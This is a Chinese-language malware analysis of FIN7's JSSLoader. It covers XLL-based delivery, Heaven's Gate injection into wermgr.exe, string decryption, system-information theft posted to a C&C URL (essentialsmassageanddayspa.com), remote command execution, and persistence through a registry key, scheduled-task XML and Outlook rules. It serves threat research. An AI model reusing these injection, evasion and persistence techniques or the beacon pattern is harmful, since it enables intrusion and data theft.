1.   概述

  该组织属于民间APT组织,自2015年以来,FIN7成员参与了针对100多家美国公司的高度复杂的恶意软件活动,主要集中在餐馆,游戏和酒店行业。
  该组织通常使用针对受害者的恶意软件网络钓鱼攻击,希望能够通过他们渗透系统窃取银行卡数据并将其出售。
  JSSLoader为该APT在进行攻击时使用的一个组件,虽然JSSLoader以最小化的.Net RAT而闻名,但是麻雀虽小,五脏俱全, 比如持久化、自动更新、恶意软件下载、数据泄露等等功能都包含。

3. 详细分析

1. ExcelDna.xll分析

  XLL插件是Excel文件的扩展,实际上只是一个普通的dll文件。Excel对其xll插件创建了关联,使其能够双击运行。
  XLL插件显示的图标与其他Excel文件显示的图标非常相似, 普通用户不会注意到XLL与其他Excel文件之间的任何区别,并且可以被诱导打开。

  每个XLL插件必须实现和导出函数xlAUtoOpen和xlAutoClose,这两个函数分别在Excel加载XLL插件后激活插件或者卸载插件时被调用。
  这些函数可以用来加载恶意代码,类型于VBA恶意代码中利用Auto_Open和Auto_Close方法执行恶意代码。不足的是x86版本的xll插件只能由x86版本的Excel加载被激活,x64版本的也是一样。
   与VBA宏一样, XLL插件加载时也会提示安全警告。

1.     Excel-DNA框架

  Excel-DNA为用于插件开发的合法框架,由于该框架能够无需操作磁盘就可以将保存在文件资源中的压缩.Net程序集直接加载的能力,因此被大部分恶意程序开发者所滥用。
  由于某种原因, Excel-DNA生成的样本中大部分都包含10000个导出函数,并且这些函数的代码都是毫无意义的。

2.     释放并打开诱饵文档

  在执行shellcode之前, 恶意程序将诱饵文档写入到临时目录并打开。

  诱饵文档显示如下图:              
              

3.     state1 shellcode

  调用VirtualAlloc分配可执行的内存, 将shellcode拷贝到这段内存并执行。

函数重定位

  调用函数时并不直接使用函数地址而是将函数地址与地址0xF990005的偏移量保存到shellcode, 使用这样的策略就是为了保证不论分配的内存在哪个位置都能够计算出函数地址并调用。          

  通过偏移量来计算函数地址, 然后调用第一个偏移量对应的函数地址执行后续代码。

字符串解密

  所有与API函数名相关的字符串都是使用恶意程序开发人员设计的自定义加密算法来进行加密的。如图所示, 加密字符串开始地址为0xF99BC3D,每个加密字符都以0结尾。

  解密算法如下图, 解密后将下一个加密字符串的地址保存到字段string_addr, 解密时是按顺序解密的。


以第一个加密字符串为例, 解密步骤如下:

步骤:第一个字符串id为0,取反后为0xFF,然后加密字符串的第一位与0xFF相加,
第二位与0xFE相加,第三位与0xFD相加,以此类推计算出来的值就是解密后的字符串;
第二个字符串id为1,解密方法类似。

加密字符串: 48 67 77 54 77 75 6A 49 6D 6E 7D 71 80 81
解密字符串: 47 65 74 50 72 6F 63 41 64 64 72 65 73 73=>GetProcAddress

   解密的所有字符串按顺序如下,都是API字符串。

1
2
3
4
5
6
7
8
9
10
11
GetProcA
LoadLibraryA
Sleep  
CreateProcessW  
GetNativeSystemInfo
VirtualAlloc
Wow64DisableWow64FsRedirection
Wow64RevertWow64FsRedirection
CreateProcessInternalW
GetSystemDirectoryW
ntdll_RtlWow64EnableFsRedirectionEx

4.     判断是否是x64系统

  调用GetNativeSysInfo来判断受害者操作系统是否是x64系统,该函数返回一个结构体,第一位表示操作系统为6或9时表示系统为x64版本。如果不是x64版本的操作系统,则不会执行后续的shellcode, 返回并将控制权交给进程Excel。

  

5.     创建挂起进程wermgr.exe

  程序wermgr是windows的错误报告管理工具,用于向Microsoft发送操作崩溃和错误报告,恶意程序开发者将恶意代码注入到系统进程用于绕过安全软件的检测。
  由于创建的进程属于x64进程, 而当前执行的excel属于x86进程,因此不能直接从x86注入shellcode到x64进程。
  为了解决这个问题,恶意程序开发者准备了3个shellcode,在三个阶段中被使用, 分别命名为stage1、stage2和stage3。
  Stage1用”天堂之门“技术切换到x64的内存空间并跳转到stage2执行,从stage2开始已经切换到了x64环境, 在stage2中将stage3注入到wermgr进程中。

  该阶段的shellcode利用Heaven’s Gate(天堂之门)技术将shellcode从x86进程注入到x64进程中。
手动构造环境切换代码,并将地址0xF70015地址的跳转修改为x64 shellcode的内存地址,该shellcode将另一段shellcode注入到wermgr.exe内存中。

  初始化在下一阶段的shellcode需要使用的数据,包括线程句柄、进程句柄和要注入的shellcode地址和大小,然后执行下一阶段shellcode代码。进程句柄用于读写远程进程,线程句柄用于恢复远程线程。

4.Stage2天堂之门

1.解密字符串

  这段shellcode用于从x86环境切换到x64环境,也叫做天堂之门,Shellcode中使用的函数都是以硬编码哈希的形式存放, 在loadfunctions中通过对模块的导出表计算哈希并匹配来找到对应的函数地址。如下图所示:

  该阶段的shellcode使用了包含大小写字母、数字的字符映射表和字符”/”,  并且每个字符再映射表中的位置都是随机的。解密时从字符映射表中找到待解密字符所在的索引,然后利用这些索引来解密字符串。字符映射表如下

1
tzGeVX6QcPsLA5ManZv48EI9BFr/7pxhSok2OU1JT3CD0qN+uKYHjlWdRfbwgymi

  解密过程如下

1.  从加密字符串中提取4个字符
2.  获取每个字符在字符映射表中的索引
3.  对四个索引分别进行如下运算, 解密处3个字符

1
2
3
   decrypt_str[0]= (indexs[0]<<0x02)|(indexs[1]>>0x04&0x3)
   decrypt_str[1]= (indexs[1]<<0x04)|(indexs[2]>>0x02&0xF)
   decrypt_str[2]=(indexs[2]<<0x06+indexs[3])

4.  继续从加密字符串中提取接下来的4个字符串,重复1~3的步骤。

  以字符串vjEv4OEAAHcNF6K0为例解密后的字符串为”kernel32.dll”,解密过程如下:

第一个4字符为vjEv,每个字符在映射表中的索引分别为 12 34 15 12,解密后ker
第二个4字符为4OEA,每个字符在映射表中的索引分别为 13 24 15 0c,解密后nel
第三个4字符为AHcN,每个字符在映射表中的索引分别为 0c 33 08 2e,解密后32.
第四个4字符为F6K0,每个字符在映射表中的索引分别为 19 06 31 2c,解密后dll
解密成功后对字符串计算哈希值, 哈希计算方法如下:

1
2
3
4
5
6
7
8
9
Char* str=”...”;//解密后的字符串,省略
Uint32_t x=0;
For(uint32_t i=0;i<strlen(str);++i)
{
    x = ((str[i]+ x)<< 0xA)+( str[i]+ x);
    x = (x >>6)^ x
}
x=3*x
uint32_t hash= ((x>>0xB)^x)<<0xF + (x>>0xB)^x

2.获取函数地址

  通过获取”GS:[0x60]”来直接获取PEB结构的地址,然后遍历其字段Ldr中的链表InMemoryOrderModuleList并获取dll名。

  得到dll名后先将其所有字符都转换成小写然后再计算哈希值。

  哈希值计算方法与前面计算解密字符串使用的哈希方法一致,如果计算出的哈希值与要查找的哈希值匹配,则返回对应模块的加载基址。再根据加载地址遍历该模块导出的函数并计算哈希值与硬编码的哈希值相比较,如果匹配则计算函数地址然后用该地址覆盖哈希值。计算函数哈希值使用的方法与计算模块模块名一样。

  这段shellcode并不是通过jmp或call指令来执行跳转, 原因是使用这两个指令能够跳转的偏移有限, 最大只支持32位偏移, 而在x64的地址空间中要跳转的偏移可能超过32位,因此通过将要跳转的目标地址压入到堆栈中用于保存返回地址的内存中,然后函数返回的时候返回到目标地址执行代码。

注入的代码如下:

1
2
3
4
debug1150:00000000004E90B0 mov     rax, 161523A0000h ;要跳转的目标地址
debug1150:00000000004E90BA mov     rcx, rax
debug1150:00000000004E90BD push    rax
debug1150:00000000004E90BE retn

5.Shellcode版本JSSLoader

  该阶段的shellcode为进程Excel注入到进程wermgr,进程wermgr的入口点代码在注入前已经被修改,以便在进程wermgr恢复执行时跳转到shellcode中执行代码。

1. 字符串解密

  字符串解密与上一阶段的shellcode使用的方法一样, 不同的就是使用的字符映射表不一样。

2.收集系统信息

  获取受害者机器的主机名, 如果没有获取成功则主机名设置为”N”。

  读取受害者机器的DNS domain,如果没有则设置为”WORKGROUP”。

  获取受害者的机器名。

  使用WMI查询接口来获取系统信息.

  遍历所有正在运行的进程并获取其进程名和进程PID值,最后按如下格式保存到buff中。

1
{“name”:进程名,”pid”:进程PID}

 
  遍历桌面所有的文件,并读取其文件名和文件大小,按如下格式保存到buff中。

1
{“file”:文件名,”size”:文件大小}


  最后将收集到的所有信息组合成JSON格式数据。

  Base64编码后上传到C&C服务器。

3.发送上线信号

  从环境变量”UserDomain”和”ComputerName”中读取机器域名和用户名。

  当shellcode第一次被执行时,收集系统信息并上传到C&C服务器。发送的post数据为收集的系统信息,请求链接为

1
essentialsmassageanddayspa.com?id={机器域名}{用户名}&type=a

4.使用随机文件名

  释放文件时在硬编码的文件名列表中随机选择一个字符串作为文件名。

  使用的文件名列表解密后如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
1,"rain"      2,"faint"     3,"shark"     4,"hierarchy"
5,"brush"     6,"grimace"      7,"recognize" 8,"mountain"
9,"place"     10,"pressure" 11,"delay"    12,"volunteer"
13,"snarl"    14,"shame"    15,"attitude" 16,"pool"
17,"priority" 18,"snack"    19,"category" 20,"my"
21,"necklace" 22,"decorative"  23,"tower"    24,"fountain"
25,"software" 26,"siege"    27,"trade"    28,"gravel"
29,"beginning"   30,"fragrant" 31,"execute"  32,"orthodox"
33,"harmful"  34,"classroom"   35,"ostracize"   36,"blade"
37,"hypnothize"  38,"general"  39,"achieve"  40,"poetry"
41,"ensure"      42,"prison"      43,"find"     44,"prevent"
45,"extract"  46,"presidential" 47,"graduate" 48,"south"
49,"week"

8.     C&C指令

  从shellcode中能够执行的指令来看,它不仅仅是作为一个下载器和加载器,还能够执行各种脚本文件和从C&C服务器下发的shellcode,这也是JSSLoader的命名原因。
   

9.     执行脚本文件

a)      使用cscript来执行js文件

b)      使用csript来执行vbs文件

c)      执行任意powershell命令

d)      通过ReadAllText读取文件内容并作为powershell命令传递给poershell。

7.直接在内存中执行shellcode

  从C&C服务器接收的shellcode为十六进制字符串,需要先转成十六进制数据然后拷贝到分配的可执行内存中,创建一个线程将shellcode作为线程函数执行。

8.执行可执行文件

  从C&C服务器接收要执行的文件数据和执行时需要的参数,将文件保存为随机名然后以隐藏窗口的方式执行。
        

9.执行DLL文件

  从C&C服务器接收要执行的dll文件和要调用的导出函数以及参数值,调用程序rundll32来执行dll文件。

10.添加自启动项

  当前版本默认情况下没有设置自启动项,当接收到添加启动项的命令时,获取当前执行的文件名和命令行,并为其创建注册表值,键名使用VideoCodes作为伪装,键名为启动时要执行的命令行。  

11. 创建任务计划

   C&C指令中有3个指令的功能是创建计划任务,主要实现原理一样,不同之处在创建计划任务时使用不同的参数。使用一个结构来描述创建计划任务时设置的参数,

1
2
3
4
5
6
7
8
9
10
11
12
13
struct  tasksche_ctx
{
  //前面3个为创建计划任务时需要的com对象
  ITaskService *taskService;
  ITaskFolder *taskFolder;
  IRegisteredTask RegisteredTask;
  //不同C&C指令创建计划任务时改变的是下列参数
  char* command;         //计划任务执行的命令
  char *arguments;       //创建计划任务时使用的参数
  char* task;         //计划任务名
  _DWORD interval;       //创建计划任务时设置启动的事件间隔
  _DWORD TriggerType;     //计划任务的触发类型
};

  创建用于计划任务的XML文件,然后调用IregisterdTask注册计划任务,使用的XML数据如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
  <?xml version="1.0" encoding="UTF-16"?>
  <Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">
  <RegistrationInfo>
<Date>
%04u-%02u-%02uT%02u:%02u:%02u.%u //当前时间
</Date>
//如果存在accoutName,才会设置Author
<Author>
  {当前用户名}
</Author>
<Description>CamVideoApp update</Description>
<URI>\Task CamVideoApp Update</URI>
</RegistrationInfo>
<Triggers>
//触发类型为2时设置为如下值
<LogonTrigger>
<Enabled>true</Enabled>
<UserId>{当前用户SID}</UserId>
</LogonTrigger>
<TimeTrigger>
<StartBoundary>
04u-%02u-%02uT%02u:%02u:%02u //当前时间
</StartBoundary>
<Enabled>true</Enabled>
</TimeTrigger>
</Triggers>
<Principals>
<Principal id="Author">
<UserId>{AccountSid}</UserId>
<LogonType>InteractiveToken</LogonType>
<RunLevel>LeastPrivilege</RunLevel>
</Principal>
</Principals>
<Settings>
//如果当前计划任务实例已经启动, 不会创建新的
<MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy>
//允许计算机在使用电源模式时启动计划任务
<DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>
//在计算机使用电池模式的时候不终止计划任务
<StopIfGoingOnBatteries>false</StopIfGoingOnBatteries>
//允许TerminateProcess 终止计划任务
<AllowHardTerminate>true</AllowHardTerminate>
//错过时间时等待下一次启动时间
<StartWhenAvailable>false</StartWhenAvailable>
//在没有网络时也启动该计划任务
<RunOnlyIfNetworkAvailable>false</RunOnlyIfNetworkAvailable>
//机器空闲时计划任务设置
<IdleSettings>
<Duration>PT10M</Duration>      //间隔10分钟执行
<WaitTimeout>PT1H</WaitTimeout> //超时时间1h
<StopOnIdleEnd>true</StopOnIdleEnd> //空闲结束时结束计划任务
<RestartOnIdle>false</RestartOnIdle>//多次进入空闲时不启动计划任务
</IdleSettings>
<AllowStartOnDemand>true</AllowStartOnDemand>
<Enabled>true</Enabled>
<Hidden>false</Hidden>
<RunOnlyIfIdle>false</RunOnlyIfIdle>
<WakeToRun>false</WakeToRun>
//72小时后关闭该计划任务
<ExecutionTimeLimit>PT72H</ExecutionTimeLimit>
<Priority>7</Priority>
</Settings>
<Actions Context="Author">
<Exec>
<Command>{使用命令}</Command>
<Arguments>{命令行参数}</Arguments>  
</Exec>
</Actions>
</Task>

  当接收到的C&C指令ID为4时, 从C&C接收要下载的文件和执行文件时需要的命令行参数,将文件保存为随机名并为其创建计划任务。其中间隔时间为300秒,设置计划任务名为”Task CamVideoApp Update”,但是在注册计划任务的时候并没有用到而是使用”CamVideoApp update”作为默认计划任务名。触发类型为2表示创建LogonTrigger触发器。

  C&C指令0x12与0x13的功能相似, 唯一区别就是0x12不会创建LogonTrigger触发器而0x13会创建。从C&C接收要执行的文件和创建计划任务时需要的参数,从C&C接收的各个参数使用分隔符”|”分隔。

12.outlook邮件联系人收集

  当前版本的JSSLoader使用Microsoft的MAPI(邮件应用程序接口)来与Outlook进行交互。首先动态加载mapi32.dll,并获取相关API地址将其保存到自定义的结构中。

通过MAPI接口从outlook的地址簿中收集所有邮件联系人。

13.注入恶意规则到outlook执行持久化

  Outlook恶意规则可用于通过创建执行恶意程序的规则在实现恶意程序在windows实现持久化。
  该规则可以设置为在目标接收到邮件主题中包含特定关键字的电子邮件时执行和安装恶意程序。
  首先从contentsTable中获取存储默认接收的消息表。


每一个消息存储都存在一个默认的接收文件夹,一般来说就是收件夹。获取收件夹的EntryID来打开收件夹。

填充需要注入的恶意规则,然后将消息保存到Exchange服务器。

2022-09-02

⬆︎TOP